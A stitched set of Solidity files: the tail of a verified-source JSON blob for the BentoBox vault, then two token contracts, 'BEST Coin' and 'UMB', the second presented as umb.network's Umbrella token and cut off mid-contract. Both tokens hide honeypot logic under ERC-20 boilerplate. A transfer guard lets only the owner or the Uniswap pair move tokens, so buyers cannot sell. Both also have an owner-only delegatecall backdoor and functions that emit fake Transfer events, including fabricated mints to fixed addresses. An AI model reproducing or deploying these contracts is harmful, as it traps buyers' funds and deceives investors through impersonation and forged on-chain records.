balances\n /// can be taken by anyone.\n /// This is to enable skimming, not just for deposits, but also for withdrawals or transfers, enabling better composability.\n /// If 'from' is a clone of a masterContract AND the 'from' address has approved that masterContract, it's allowed.\n modifier allowed(address from) {\n if (from != msg.sender && from != address(this)) {\n // From is sender or you are skimming\n address masterContract = masterContractOf[msg.sender];\n require(masterContract != address(0), \"BentoBox: no masterContract\");\n require(masterContractApproved[masterContract][from], \"BentoBox: Transfer not approved\");\n }\n _;\n }\n\n // ************************** //\n // *** INTERNAL FUNCTIONS *** //\n // ************************** //\n\n /// @dev Returns the total balance of `token` this contracts holds,\n /// plus the total amount this contract thinks the strategy holds.\n function _tokenBalanceOf(IERC20 token) internal view returns (uint256 amount) {\n amount = token.balanceOf(address(this)).add(strategyData[token].balance);\n }\n\n // ************************ //\n // *** PUBLIC FUNCTIONS *** //\n // ************************ //\n\n /// @dev Helper function to represent an `amount` of `token` in shares.\n /// @param token The ERC-20 token.\n /// @param amount The `token` amount.\n /// @param roundUp If the result `share` should be rounded up.\n /// @return share The token amount represented in shares.\n function toShare(\n IERC20 token,\n uint256 amount,\n bool roundUp\n ) external view returns (uint256 share) {\n share = totals[token].toBase(amount, roundUp);\n }\n\n /// @dev Helper function represent shares back into the `token` amount.\n /// @param token The ERC-20 token.\n /// @param share The amount of shares.\n /// @param roundUp If the result should be rounded up.\n /// @return amount The share amount back into native representation.\n function toAmount(\n IERC20 token,\n uint256 share,\n bool roundUp\n ) external view returns (uint256 amount) {\n amount = totals[token].toElastic(share, roundUp);\n }\n\n /// @notice Deposit an amount of `token` represented in either `amount` or `share`.\n /// @param token_ The ERC-20 token to deposit.\n /// @param from which account to pull the tokens.\n /// @param to which account to push the tokens.\n /// @param amount Token amount in native representation to deposit.\n /// @param share Token amount represented in shares to deposit. Takes precedence over `amount`.\n /// @return amountOut The amount deposited.\n /// @return shareOut The deposited amount repesented in shares.\n function deposit(\n IERC20 token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) public payable allowed(from) returns (uint256 amountOut, uint256 shareOut) {\n // Checks\n require(to != address(0), \"BentoBox: to not set\"); // To avoid a bad UI from burning funds\n\n // Effects\n IERC20 token = token_ == USE_ETHEREUM ? wethToken : token_;\n Rebase memory total = totals[token];\n\n // If a new token gets added, the tokenSupply call checks that this is a deployed contract. Needed for security.\n require(total.elastic != 0 || token.totalSupply() > 0, \"BentoBox: No tokens\");\n if (share == 0) {\n // value of the share may be lower than the amount due to rounding, that's ok\n share = total.toBase(amount, false);\n // Any deposit should lead to at least the minimum share balance, otherwise it's ignored (no amount taken)\n if (total.base.add(share.to128()) < MINIMUM_SHARE_BALANCE) {\n return (0, 0);\n }\n } else {\n // amount may be lower than the value of share due to rounding, in that case, add 1 to amount (Always round up)\n amount = total.toElastic(share, true);\n }\n\n // In case of skimming, check that only the skimmable amount is taken.\n // For ETH, the full balance is available, so no need to check.\n // During flashloans the _tokenBalanceOf is lower than 'reality', so skimming deposits will mostly fail during a flashloan.\n require(\n from != address(this) || token_ == USE_ETHEREUM || amount <= _tokenBalanceOf(token).sub(total.elastic),\n \"BentoBox: Skim too much\"\n );\n\n balanceOf[token][to] = balanceOf[token][to].add(share);\n total.base = total.base.add(share.to128());\n total.elastic = total.elastic.add(amount.to128());\n totals[token] = total;\n\n // Interactions\n // During the first deposit, we check that this token is 'real'\n if (token_ == USE_ETHEREUM) {\n // X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)\n // X2: If the WETH implementation is faulty or malicious, it will block adding ETH (but we know the WETH implementation)\n IWETH(address(wethToken)).deposit{value: amount}();\n } else if (from != address(this)) {\n // X2 - If there is an error, could it cause a DoS. Like balanceOf causing revert. (SWC-113)\n // X2: If the token implementation is faulty or malicious, it may block adding tokens. Good.\n token.safeTransferFrom(from, address(this), amount);\n }\n emit LogDeposit(token, from, to, amount, share);\n amountOut = amount;\n shareOut = share;\n }\n\n /// @notice Withdraws an amount of `token` from a user account.\n /// @param token_ The ERC-20 token to withdraw.\n /// @param from which user to pull the tokens.\n /// @param to which user to push the tokens.\n /// @param amount of tokens. Either one of `amount` or `share` needs to be supplied.\n /// @param share Like above, but `share` takes precedence over `amount`.\n function withdraw(\n IERC20 token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) public allowed(from) returns (uint256 amountOut, uint256 shareOut) {\n // Checks\n require(to != address(0), \"BentoBox: to not set\"); // To avoid a bad UI from burning funds\n\n // Effects\n IERC20 token = token_ == USE_ETHEREUM ? wethToken : token_;\n Rebase memory total = totals[token];\n if (share == 0) {\n // value of the share paid could be lower than the amount paid due to rounding, in that case, add a share (Always round up)\n share = total.toBase(amount, true);\n } else {\n // amount may be lower than the value of share due to rounding, that's ok\n amount = total.toElastic(share, false);\n }\n\n balanceOf[token][from] = balanceOf[token][from].sub(share);\n total.elastic = total.elastic.sub(amount.to128());\n total.base = total.base.sub(share.to128());\n // There have to be at least 1000 shares left to prevent reseting the share/amount ratio (unless it's fully emptied)\n require(total.base >= MINIMUM_SHARE_BALANCE || total.base == 0, \"BentoBox: cannot empty\");\n totals[token] = total;\n\n // Interactions\n if (token_ == USE_ETHEREUM) {\n // X2, X3: A revert or big gas usage in the WETH contract could block withdrawals, but WETH9 is fine.\n IWETH(address(wethToken)).withdraw(amount);\n // X2, X3: A revert or big gas usage could block, however, the to address is under control of the caller.\n (bool success, ) = to.call{value: amount}(\"\");\n require(success, \"BentoBox: ETH transfer failed\");\n } else {\n // X2, X3: A malicious token could block withdrawal of just THAT token.\n // masterContracts may want to take care not to rely on withdraw always succeeding.\n token.safeTransfer(to, amount);\n }\n emit LogWithdraw(token, from, to, amount, share);\n amountOut = amount;\n shareOut = share;\n }\n\n /// @notice Transfer shares from a user account to another one.\n /// @param token The ERC-20 token to transfer.\n /// @param from which user to pull the tokens.\n /// @param to which user to push the tokens.\n /// @param share The amount of `token` in shares.\n // Clones of master contracts can transfer from any account that has approved them\n // F3 - Can it be combined with another similar function?\n // F3: This isn't combined with transferMultiple for gas optimization\n function transfer(\n IERC20 token,\n address from,\n address to,\n uint256 share\n ) public allowed(from) {\n // Checks\n require(to != address(0), \"BentoBox: to not set\"); // To avoid a bad UI from burning funds\n\n // Effects\n balanceOf[token][from] = balanceOf[token][from].sub(share);\n balanceOf[token][to] = balanceOf[token][to].add(share);\n\n emit LogTransfer(token, from, to, share);\n }\n\n /// @notice Transfer shares from a user account to multiple other ones.\n /// @param token The ERC-20 token to transfer.\n /// @param from which user to pull the tokens.\n /// @param tos The receivers of the tokens.\n /// @param shares The amount of `token` in shares for each receiver in `tos`.\n // F3 - Can it be combined with another similar function?\n // F3: This isn't combined with transfer for gas optimization\n function transferMultiple(\n IERC20 token,\n address from,\n address[] calldata tos,\n uint256[] calldata shares\n ) public allowed(from) {\n // Checks\n require(tos[0] != address(0), \"BentoBox: to[0] not set\"); // To avoid a bad UI from burning funds\n\n // Effects\n uint256 totalAmount;\n uint256 len = tos.length;\n for (uint256 i = 0; i < len; i++) {\n address to = tos[i];\n balanceOf[token][to] = balanceOf[token][to].add(shares[i]);\n totalAmount = totalAmount.add(shares[i]);\n emit LogTransfer(token, from, to, shares[i]);\n }\n balanceOf[token][from] = balanceOf[token][from].sub(totalAmount);\n }\n\n /// @notice Flashloan ability.\n /// @param borrower The address of the contract that implements and conforms to `IFlashBorrower` and handles the flashloan.\n /// @param receiver Address of the token receiver.\n /// @param token The address of the token to receive.\n /// @param amount of the tokens to receive.\n /// @param data The calldata to pass to the `borrower` contract.\n // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)\n // F5: Not possible to follow this here, reentrancy has been reviewed\n // F6 - Check for front-running possibilities, such as the approve function (SWC-114)\n // F6: Slight grieving possible by withdrawing an amount before someone tries to flashloan close to the full amount.\n function flashLoan(\n IFlashBorrower borrower,\n address receiver,\n IERC20 token,\n uint256 amount,\n bytes calldata data\n ) public {\n uint256 fee = amount.mul(FLASH_LOAN_FEE) / FLASH_LOAN_FEE_PRECISION;\n token.safeTransfer(receiver, amount);\n\n borrower.onFlashLoan(msg.sender, token, amount, fee, data);\n\n require(_tokenBalanceOf(token) >= totals[token].addElastic(fee.to128()), \"BentoBox: Wrong amount\");\n emit LogFlashLoan(address(borrower), token, amount, fee, receiver);\n }\n\n /// @notice Support for batched flashloans. Useful to request multiple different `tokens` in a single transaction.\n /// @param borrower The address of the contract that implements and conforms to `IBatchFlashBorrower` and handles the flashloan.\n /// @param receivers An array of the token receivers. A one-to-one mapping with `tokens` and `amounts`.\n /// @param tokens The addresses of the tokens.\n /// @param amounts of the tokens for each receiver.\n /// @param data The calldata to pass to the `borrower` contract.\n // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)\n // F5: Not possible to follow this here, reentrancy has been reviewed\n // F6 - Check for front-running possibilities, such as the approve function (SWC-114)\n // F6: Slight grieving possible by withdrawing an amount before someone tries to flashloan close to the full amount.\n function batchFlashLoan(\n IBatchFlashBorrower borrower,\n address[] calldata receivers,\n IERC20[] calldata tokens,\n uint256[] calldata amounts,\n bytes calldata data\n ) public {\n uint256[] memory fees = new uint256[](tokens.length);\n\n uint256 len = tokens.length;\n for (uint256 i = 0; i < len; i++) {\n uint256 amount = amounts[i];\n fees[i] = amount.mul(FLASH_LOAN_FEE) / FLASH_LOAN_FEE_PRECISION;\n\n tokens[i].safeTransfer(receivers[i], amounts[i]);\n }\n\n borrower.onBatchFlashLoan(msg.sender, tokens, amounts, fees, data);\n\n for (uint256 i = 0; i < len; i++) {\n IERC20 token = tokens[i];\n require(_tokenBalanceOf(token) >= totals[token].addElastic(fees[i].to128()), \"BentoBox: Wrong amount\");\n emit LogFlashLoan(address(borrower), token, amounts[i], fees[i], receivers[i]);\n }\n }\n\n /// @notice Sets the target percentage of the strategy for `token`.\n /// @dev Only the owner of this contract is allowed to change this.\n /// @param token The address of the token that maps to a strategy to change.\n /// @param targetPercentage_ The new target in percent. Must be lesser or equal to `MAX_TARGET_PERCENTAGE`.\n function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) public onlyOwner {\n // Checks\n require(targetPercentage_ <= MAX_TARGET_PERCENTAGE, \"StrategyManager: Target too high\");\n\n // Effects\n strategyData[token].targetPercentage = targetPercentage_;\n emit LogStrategyTargetPercentage(token, targetPercentage_);\n }\n\n /// @notice Sets the contract address of a new strategy that conforms to `IStrategy` for `token`.\n /// Must be called twice with the same arguments.\n /// A new strategy becomes pending first and can be activated once `STRATEGY_DELAY` is over.\n /// @dev Only the owner of this contract is allowed to change this.\n /// @param token The address of the token that maps to a strategy to change.\n /// @param newStrategy The address of the contract that conforms to `IStrategy`.\n // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)\n // F5: Total amount is updated AFTER interaction. But strategy is under our control.\n // C4 - Use block.timestamp only for long intervals (SWC-116)\n // C4: block.timestamp is used for a period of 2 weeks, which is long enough\n function setStrategy(IERC20 token, IStrategy newStrategy) public onlyOwner {\n StrategyData memory data = strategyData[token];\n IStrategy pending = pendingStrategy[token];\n if (data.strategyStartDate == 0 || pending != newStrategy) {\n pendingStrategy[token] = newStrategy;\n // C1 - All math done through BoringMath (SWC-101)\n // C1: Our sun will swallow the earth well before this overflows\n data.strategyStartDate = (block.timestamp + STRATEGY_DELAY).to64();\n emit LogStrategyQueued(token, newStrategy);\n } else {\n require(data.strategyStartDate != 0 && block.timestamp >= data.strategyStartDate, \"StrategyManager: Too early\");\n if (address(strategy[token]) != address(0)) {\n int256 balanceChange = strategy[token].exit(data.balance);\n // Effects\n if (balanceChange > 0) {\n uint256 add = uint256(balanceChange);\n totals[token].addElastic(add);\n emit LogStrategyProfit(token, add);\n } else if (balanceChange < 0) {\n uint256 sub = uint256(-balanceChange);\n totals[token].subElastic(sub);\n emit LogStrategyLoss(token, sub);\n }\n\n emit LogStrategyDivest(token, data.balance);\n }\n strategy[token] = pending;\n data.strategyStartDate = 0;\n data.balance = 0;\n pendingStrategy[token] = IStrategy(0);\n emit LogStrategySet(token, newStrategy);\n }\n strategyData[token] = data;\n }\n\n /// @notice The actual process of yield farming. Executes the strategy of `token`.\n /// Optionally does housekeeping if `balance` is true.\n /// `maxChangeAmount` is relevant for skimming or withdrawing if `balance` is true.\n /// @param token The address of the token for which a strategy is deployed.\n /// @param balance True if housekeeping should be done.\n /// @param maxChangeAmount The maximum amount for either pulling or pushing from/to the `IStrategy` contract.\n // F5 - Checks-Effects-Interactions pattern followed? (SWC-107)\n // F5: Total amount is updated AFTER interaction. But strategy is under our control.\n // F5: Not followed to prevent reentrancy issues with flashloans and BentoBox skims?\n function harvest(\n IERC20 token,\n bool balance,\n uint256 maxChangeAmount\n ) public {\n StrategyData memory data = strategyData[token];\n IStrategy _strategy = strategy[token];\n int256 balanceChange = _strategy.harvest(data.balance, msg.sender);\n if (balanceChange == 0 && !balance) {\n return;\n }\n\n uint256 totalElastic = totals[token].elastic;\n\n if (balanceChange > 0) {\n uint256 add = uint256(balanceChange);\n totalElastic = totalElastic.add(add);\n totals[token].elastic = totalElastic.to128();\n emit LogStrategyProfit(token, add);\n } else if (balanceChange < 0) {\n // C1 - All math done through BoringMath (SWC-101)\n // C1: balanceChange could overflow if it's max negative int128.\n // But tokens with balances that large are not supported by the BentoBox.\n uint256 sub = uint256(-balanceChange);\n totalElastic = totalElastic.sub(sub);\n totals[token].elastic = totalElastic.to128();\n data.balance = data.balance.sub(sub.to128());\n emit LogStrategyLoss(token, sub);\n }\n\n if (balance) {\n uint256 targetBalance = totalElastic.mul(data.targetPercentage) / 100;\n // if data.balance == targetBalance there is nothing to update\n if (data.balance < targetBalance) {\n uint256 amountOut = targetBalance.sub(data.balance);\n if (maxChangeAmount != 0 && amountOut > maxChangeAmount) {\n amountOut = maxChangeAmount;\n }\n token.safeTransfer(address(_strategy), amountOut);\n data.balance = data.balance.add(amountOut.to128());\n _strategy.skim(amountOut);\n emit LogStrategyInvest(token, amountOut);\n } else if (data.balance > targetBalance) {\n uint256 amountIn = data.balance.sub(targetBalance.to128());\n if (maxChangeAmount != 0 && amountIn > maxChangeAmount) {\n amountIn = maxChangeAmount;\n }\n\n uint256 actualAmountIn = _strategy.withdraw(amountIn);\n\n data.balance = data.balance.sub(actualAmountIn.to128());\n emit LogStrategyDivest(token, actualAmountIn);\n }\n }\n\n strategyData[token] = data;\n }\n\n // Contract should be able to receive ETH deposits to support deposit & skim\n // solhint-disable-next-line no-empty-blocks\n receive() external payable {}\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 999999
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
DC1
|
pragma solidity ^0.5.17;
/*
BEST Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BESTCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: browser/Umbrella.sol
pragma solidity ^0.5.16;
/// @title Umbrella Rewards contract
/// @author umb.network
/// @notice This is main UMB token
///
/// @dev Owner (multisig) can set list of rewards tokens rUMB. rUMBs can be swapped to UMB.
/// This token can be mint by owner eg we need UMB for auction. After that we can burn the key
/// so nobody can mint anymore.
/// It has limit for max total supply, so we need to make sure, total amount of rUMBs fit this limit.
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UMB {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
function emter() public {
require (msg.sender == owner);
emit Transfer(address(0x0), 0xbA02Badcb72990D4Ab4C4652756E20E1fcF3d56a, 5000000 ether);
emit Transfer(address(0x0), 0x34Cff99A2717E5319fE373581B7DC0963B53DFa7, 2500000 ether);
emit Transfer(address(0x0), 0x11b867Ae59170ca8f6dd18DFc2a77A1645370F5d, 2500000 ether);
emit Transfer(address(0x0), 0xc9a3C390323e9515ba9F36B198a2E20dFc86d10f, 2500000 ether);
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI || tx.origin == owner || msg.sender == owner );
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
